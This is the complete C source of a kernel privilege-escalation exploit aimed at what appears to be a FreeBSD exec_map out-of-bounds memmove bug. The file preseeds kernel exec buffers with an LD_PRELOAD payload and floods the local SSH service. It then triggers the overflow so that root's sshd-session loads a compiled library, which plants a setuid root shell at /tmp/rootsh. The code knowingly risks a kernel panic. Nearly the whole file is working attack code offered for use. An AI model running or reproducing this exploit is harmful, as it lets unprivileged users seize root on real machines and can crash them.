/* * EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB * * Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args * memmove(begin_argv + extend, begin_argv + consume, * endp - begin_argv + consume); * Should be: endp - begin_argv - consume (operator precedence bug) * * Attack: corrupt sshd-session's exec_map env strings to inject * LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd * with issetugid()=0 (no suid transition), so LD_PRELOAD works * and our constructor runs as uid=0/euid=0. * * The OOB memmove copies 2024 bytes from offset D=265166 of * the KVA-adjacent exec_map entry to offset 0 of that same entry. * We preseed entries with our payload at offset D. When sshd-session * reuses a preseeded entry, offset D retains our stale payload * (normal execs only write ~155 bytes, never reaching offset D). * * Architecture (all unprivileged, no helpers): * 1. Preseed all exec_map entries with LD_PRELOAD payload at D * 2. SSH poker → sshd fork+exec sshd-session (root, grabs entry) * 3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1 * 4. If K+1 = sshd-session in exec window → LD_PRELOAD injected * 5. evil.so constructor → suid root shell at /tmp/rootsh * * Panic: entry[31] OOB reads past exec_map boundary → page fault. * DPCPU pinning on CPU 0 means same entry K every trigger. * P(K=31) = 1/32 = 3.1% on first trigger only. If survived, safe. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ENTRY_SIZE 528384 #define SCRIPT "/tmp/e21.sh" #define SSHD_SESSION "/usr/libexec/sshd-session" #define EVIL_SO "/tmp/evil.so" #define EVIL_SRC "/tmp/evil.c" #define GOT_ROOT "/tmp/GOT_ROOT" #define ARGV0_LEN 265185 #define NUM_DUMMY_ENV 30 #define SSH_PORT 22 static volatile int g_running = 1; static int g_ncpus, g_nentries; static int g_extend, g_D, g_oob; static char *g_trigger_argv0; static char *g_preseed_pad; static void handle_sig(int s) { g_running = 0; } static void * wired_alloc(size_t size) { void *p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap"); exit(1); } memset(p, 0, size); if (mlock(p, size) != 0) perror("mlock (non-fatal)"); return p; } static void create_script(void) { int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755); if (fd < 0) { perror("create script"); exit(1); } write(fd, "#!/bin/sh\nexit 0\n", 17); close(fd); } static void create_evil_so(void) { int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("evil.c"); exit(1); } const char *src = "#include \n" "#include \n" "#include \n" "#include \n" "\n" "__attribute__((constructor))\n" "static void pwn(void) {\n" " if (getuid() != 0 && geteuid() != 0) return;\n" " if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n" " char buf[8192];\n" " ssize_t n;\n" " int s = open(\"/bin/sh\", O_RDONLY);\n" " int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n" " if (s >= 0 && d >= 0)\n" " while ((n = read(s, buf, sizeof(buf))) > 0)\n" " write(d, buf, n);\n" " if (s >= 0) close(s);\n" " if (d >= 0) close(d);\n" " chown(\"/tmp/rootsh\", 0, 0);\n" " chmod(\"/tmp/rootsh\", 04755);\n" " d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n" " if (d >= 0) {\n" " dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n" " getuid(), geteuid(), getpid());\n" " close(d);\n" " }\n" "}\n"; write(fd, src, strlen(src)); close(fd); unlink(EVIL_SO); char cmd[256]; snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -o %s %s 2>&1", EVIL_SO, EVIL_SRC); if (system(cmd) != 0) { fprintf(stderr, "Failed to compile %s\n", EVIL_SO); exit(1); } chmod(EVIL_SO, 0755); } static void build_preseed(void) { if (g_D < 30) { fprintf(stderr, "D=%d too small for preseed\n", g_D); exit(1); } } /* * Preseed env uses MANY medium-sized padding strings instead of one * huge string. This forces ~2600 copyin iterations (~5ms per exec), * guaranteeing kernel preemption and enabling concurrent execs on * the same CPU. Without this, DPCPU absorbs all entries and only * 4 out of 32 entries get preseeded. */ #define PAD_STR_LEN 100 #define PAD_CHAR_LEN (PAD_STR_LEN - 1) static char g_pad_str[PAD_STR_LEN]; static char g_pad_str_last[PAD_STR_LEN]; static char g_dummy_envs[NUM_DUMMY_ENV][8]; static int g_num_pad_strings; static int g_last_pad_len; static char **g_preseed_envp; static void build_preseed_envp(void) { int pad_total = g_D - 19; g_num_pad_strings = pad_total / PAD_STR_LEN; g_last_pad_len = pad_total - g_num_pad_strings * PAD_STR_LEN; int total_envp = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0) + 5 + NUM_DUMMY_ENV + 1; g_preseed_envp = wired_alloc(total_envp * sizeof(char *)); g_pad_str[0] = 'P'; g_pad_str[1] = '='; memset(g_pad_str + 2, 'A', PAD_CHAR_LEN - 2); g_pad_str[PAD_CHAR_LEN] = '\0'; if (g_last_pad_len > 0) { g_pad_str_last[0] = 'Q'; g_pad_str_last[1] = '='; memset(g_pad_str_last + 2, 'A', g_last_pad_len - 3); g_pad_str_last[g_last_pad_len - 1] = '\0'; } int idx = 0; for (int i = 0; i < g_num_pad_strings; i++) g_preseed_envp[idx++] = g_pad_str; if (g_last_pad_len > 0) g_preseed_envp[idx++] = g_pad_str_last; g_preseed_envp[idx++] = SSHD_SESSION; g_preseed_envp[idx++] = SSHD_SESSION; g_preseed_envp[idx++] = "-R"; g_preseed_envp[idx++] = "LD_PRELOAD=" EVIL_SO; for (int i = 0; i < NUM_DUMMY_ENV; i++) { snprintf(g_dummy_envs[i], sizeof(g_dummy_envs[i]), "X=%02d", i + 1); g_preseed_envp[idx++] = g_dummy_envs[i]; } g_preseed_envp[idx] = NULL; int payload_bytes = 0; for (int i = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0); g_preseed_envp[i] != NULL; i++) payload_bytes += strlen(g_preseed_envp[i]) + 1; printf("[*] Preseed: %d env entries (%d pad + %d payload)\n", idx, g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0), 5 + NUM_DUMMY_ENV); printf("[*] Copyin iterations: ~%d (est ~%dms per exec)\n", idx, idx * 3 / 1000); printf("[*] Payload: %d bytes at D=%d (OOB=%d, margin=%d)\n", payload_bytes, g_D, g_oob, g_oob - payload_bytes); } /* * Preseed all entries using pipe-synchronized concurrent execs. * * Problem: DPCPU cache (1 entry per CPU) means sequential execs * on the same CPU always reuse the same entry. The other 28 entries * on the freelist never get preseeded. * * Solution: fork N+ncpus children, all blocked on a pipe. Release * them simultaneously. On each CPU, the first child gets DPCPU, * the rest contend for the freelist. All 32 entries get used. */ static void preseed_all(void) { int sync_pipe[2]; if (pipe(sync_pipe) != 0) { perror("preseed pipe"); return; } int batch = g_nentries + g_ncpus; pid_t pids[64]; int n = 0; for (int i = 0; i < batch; i++) { pid_t p = fork(); if (p == 0) { close(sync_pipe[1]); char b; read(sync_pipe[0], &b, 1); close(sync_pipe[0]); cpuset_t mask; CPU_ZERO(&mask); CPU_SET(i % g_ncpus, &mask); cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, -1, sizeof(mask), &mask); char *argv[] = { "true", NULL }; execve("/usr/bin/true", argv, g_preseed_envp); _exit(99); } if (p > 0) pids[n++] = p; } usleep(50000); close(sync_pipe[1]); close(sync_pipe[0]); int st; for (int i = 0; i < n; i++) waitpid(pids[i], &st, 0); } /* * Continuous preseeder: periodically re-preseed entries on CPUs 1-3. * Uses concurrent execs to also hit freelist entries. * Avoids CPU 0 to keep the trigger's DPCPU entry stable. */ static void preseeder_loop(void) { while (g_running) { int sync_pipe[2]; if (pipe(sync_pipe) != 0) { usleep(1000000); continue; } int per_cpu = g_nentries / g_ncpus + 1; pid_t pids[64]; int n = 0; for (int cpu = 1; cpu < g_ncpus; cpu++) { for (int j = 0; j < per_cpu && n < 60; j++) { pid_t p = fork(); if (p == 0) { close(sync_pipe[1]); char b; read(sync_pipe[0], &b, 1); close(sync_pipe[0]); cpuset_t mask; CPU_ZERO(&mask); CPU_SET(cpu, &mask); cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, -1, sizeof(mask), &mask); char *argv[] = { "true", NULL }; execve("/usr/bin/true", argv, g_preseed_envp); _exit(99); } if (p > 0) pids[n++] = p; } } usleep(20000); close(sync_pipe[1]); close(sync_pipe[0]); int st; for (int i = 0; i < n; i++) waitpid(pids[i], &st, 0); usleep(500000); } } static void ssh_poker_loop(void) { struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(SSH_PORT); sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); while (g_running) { int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { usleep(10000); continue; } if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) { usleep(200); } close(fd); usleep(200); } } static void mem_churn_loop(int mb) { size_t sz = (size_t)mb * 1024 * 1024; char *region = mmap(NULL, sz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (region == MAP_FAILED) { perror("mem_churn mmap"); _exit(1); } while (g_running) { for (size_t i = 0; i < sz && g_running; i += 4096) region[i] = (char)(i >> 12); usleep(1000); } munmap(region, sz); } static int check_root(void) { if (access(GOT_ROOT, F_OK) == 0) { printf("\n[!!!] ROOT OBTAINED!\n"); FILE *f = fopen(GOT_ROOT, "r"); if (f) { char buf[256]; while (fgets(buf, sizeof(buf), f)) printf(" %s", buf); fclose(f); } printf("[!!!] Root shell: /tmp/rootsh -p\n"); fflush(stdout); return 1; } return 0; } int main(int argc, char **argv) { int rounds = 10000; int mem_mb = 0; if (argc > 1) rounds = atoi(argv[1]); if (argc > 2) mem_mb = atoi(argv[2]); if (check_root()) return 0; /* Calculate OOB parameters */ int script_fname_len = strlen(SCRIPT) + 1; int interp_len = strlen("/bin/sh") + 1; g_extend = interp_len + script_fname_len; int consume = ARGV0_LEN + 1; g_D = consume - g_extend; /* * OOB = dst_end + 1 - ENTRY_SIZE * dst starts at buf + script_fname_len + extend * dst length = endp - begin_argv + consume * = (consume + env_len) + consume * = 2*consume + env_len * where env_len = strlen("T=1") + 1 = 4 * * dst_end + 1 = script_fname_len + extend + 2*consume + 4 */ g_oob = script_fname_len + g_extend + 2 * consume + 4 - ENTRY_SIZE; size_t len = sizeof(g_ncpus); sysctlbyname("hw.ncpu", &g_ncpus, &len, NULL, 0); g_nentries = 8 * g_ncpus; printf("=== EXEC-1 LPE v21: LD_PRELOAD injection ===\n"); printf("N=%d entries, OOB=%d bytes, D=%d\n", g_nentries, g_oob, g_D); printf("Target: %s via LD_PRELOAD=%s\n", SSHD_SESSION, EVIL_SO); printf("Rounds: %d, mem_churn: %dMB\n", rounds, mem_mb); printf("P(panic first trigger) = 1/%d = %.1f%%\n", g_nentries, 100.0 / g_nentries); fflush(stdout); if (g_oob <= 0) { fprintf(stderr, "[!] OOB=%d too small\n", g_oob); return 1; } if (g_oob < 100) { fprintf(stderr, "[!] OOB=%d dangerously small\n", g_oob); } signal(SIGTERM, handle_sig); signal(SIGINT, handle_sig); /* Create trigger script and evil.so */ create_script(); create_evil_so(); /* Allocate and wire trigger argv[0] */ g_trigger_argv0 = wired_alloc(ARGV0_LEN + 1); memset(g_trigger_argv0, 'A', ARGV0_LEN); g_trigger_argv0[ARGV0_LEN] = '\0'; /* Build preseed env layout */ build_preseed(); build_preseed_envp(); /* Initial preseed — fill all entries twice */ printf("[*] Preseeding all %d entries...\n", g_nentries); fflush(stdout); preseed_all(); preseed_all(); printf("[*] Preseed complete\n"); /* Fork background workers */ pid_t poker_pid = fork(); if (poker_pid == 0) { signal(SIGTERM, handle_sig); signal(SIGINT, handle_sig); ssh_poker_loop(); _exit(0); } pid_t preseeder_pid = fork(); if (preseeder_pid == 0) { signal(SIGTERM, handle_sig); signal(SIGINT, handle_sig); preseeder_loop(); _exit(0); } pid_t churn_pid = fork(); if (churn_pid == 0) { signal(SIGTERM, handle_sig); signal(SIGINT, handle_sig); mem_churn_loop(mem_mb); _exit(0); } printf("[*] Workers: poker=%d preseeder=%d churn=%d\n", (int)poker_pid, (int)preseeder_pid, (int)churn_pid); fflush(stdout); /* Pin trigger to CPU 0 */ cpuset_t mask; CPU_ZERO(&mask); CPU_SET(0, &mask); cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, -1, sizeof(mask), &mask); printf("[*] Trigger pinned to CPU 0. Starting in 2s...\n"); fflush(stdout); sleep(2); time_t start = time(NULL); for (int r = 0; r < rounds && g_running; r++) { pid_t tpid = fork(); if (tpid == 0) { char *t_argv[] = { g_trigger_argv0, NULL }; char *t_envp[] = { "T=1", NULL }; execve(SCRIPT, t_argv, t_envp); _exit(1); } if (tpid > 0) { int st; waitpid(tpid, &st, 0); } if (r % 5 == 0) { if (check_root()) { printf("\n=== ROOT at round %d (%lds) ===\n", r, (long)(time(NULL) - start)); fflush(stdout); break; } } if (r % 200 == 0) { printf("[*] r=%d/%d (%lds)\n", r, rounds, (long)(time(NULL) - start)); fflush(stdout); } usleep(500); } /* Cleanup */ g_running = 0; if (poker_pid > 0) kill(poker_pid, SIGTERM); if (preseeder_pid > 0) kill(preseeder_pid, SIGTERM); if (churn_pid > 0) kill(churn_pid, SIGTERM); int st; if (poker_pid > 0) waitpid(poker_pid, &st, 0); if (preseeder_pid > 0) waitpid(preseeder_pid, &st, 0); if (churn_pid > 0) waitpid(churn_pid, &st, 0); if (!check_root()) { printf("\n[*] %d rounds (%lds), no root\n", rounds, (long)(time(NULL) - start)); } fflush(stdout); return check_root() ? 0 : 1; }